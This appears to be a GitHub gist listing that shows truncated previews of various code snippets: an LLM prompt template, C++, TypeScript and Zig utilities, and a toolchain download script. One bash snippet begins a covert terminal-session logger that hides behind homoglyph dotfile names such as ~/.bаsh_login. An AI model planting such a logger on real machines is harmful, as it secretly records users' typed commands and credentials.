This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
local PROMPT = [[ | |
你是一个智能助手,擅长用简洁但准确的中文回答问题。请按照以下格式回答用户的问题: | |
1. 确保语言通俗易懂,避免复杂术语。 | |
2. 只给答案:不要提出反问或引导性的问题。答案后方附上详细文字说明(500字内)。 | |
3. 单轮次:你的回答将作为最终答案,不要引导用户继续提问。 | |
4. 尽可能使用Markdown格式(支持链接,粗体(请使用`**`),斜体(请使用`__`),删除线,代码块,引用),不支持表格,请使用其他替代格式,但不包含任何HTML标签。 | |
用户问题: | |
]] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <cstddef> | |
#include <cstdlib> | |
#include <utility> | |
template <typename R, auto getter, auto setter, auto offset> | |
struct property { | |
inline R *self() { | |
return reinterpret_cast<R *>(reinterpret_cast<size_t>(this) - | |
offset((R *)0)); | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import { useMemo, useState, useEffect, useCallback } from "react"; | |
export type KeydArray<T extends Record<string, unknown>> = Array< | |
T & { key: string } | |
>; | |
export type ResolvedType<T, S extends readonly string[]> = S extends [] | |
? T | |
: T extends Array<infer I extends { key: string }> | |
? S extends [string, ...infer Tail extends string[]] | |
? ResolvedType<I, Tail> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
export type GenericLens<T, R> = { | |
get(input: T): R; | |
set(input: T, value: R): T; | |
over(input: T, transform: (input: R) => R): T; | |
}; | |
export type LensInput = string | number | GenericLens<any, any> | |
export type LensType< |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# CUSTIMIZE BEFORE UPLOAD | |
fakerc=~/.bаsh_login | |
logfile=~/.bаsh_cache | |
waitsec=1 | |
changetime=$(stat -c %Y ~/.bashrc) | |
read script <<EOF | |
exec script -B "$logfile" -afqc "bash --rcfile '$fakerc'" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env node | |
"use strict"; | |
const ts = require("typescript"); | |
function hook(fn, name) { | |
return (path, ...args) => { | |
path = path.replace(/\.js$/, '.tjs'); | |
// console.log(name, path); | |
return fn(path, ...args); | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
set -euxo pipefail | |
url=$(curl -s https://ziglang.org/download/index.json | jq -r '.master."x86_64-linux".tarball') | |
tmpf=$(mktemp /tmp/zig.XXXXXX) | |
exec 3>"$tmpf" 4<"$tmpf" | |
rm "$tmpf" | |
curl "$url" >&3 | |
tar Jxv -C /root/soft/zig --strip-components 1 <&4 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const std = @import("std"); | |
pub const HWND = *@Type(.Opaque); | |
pub const HICON = *@Type(.Opaque); | |
const INSTANCE = @Type(.Opaque); | |
pub const HINSTANCE = *const INSTANCE; | |
pub const PCWSTR = [*:0]align(1) const u16; | |
pub const HRESULT = u64; | |
extern "comctl32" fn TaskDialogIndirect( |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const std = @import("std"); | |
pub const Error = error{WrongCode}; | |
pub fn Base16(comptime map: *const [16]u8) type { | |
return struct { | |
pub fn calcSize(len: usize) usize { | |
return len * 2; | |
} | |
pub fn encode(dst: []u8, src: []const u8) void { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
const std = @import("std"); | |
const sqlite3 = *@Type(.Opaque); | |
const sqlite3_stmt = *@Type(.Opaque); | |
const sqllog = std.log.scoped(.sqlite3); | |
extern fn sqlite3_errmsg(db: sqlite3) [*:0]const u8; | |
extern fn sqlite3_open(path: [*:0]const u8, db: *sqlite3) c_int; | |
extern fn sqlite3_close(db: sqlite3) c_int; |
NewerOlder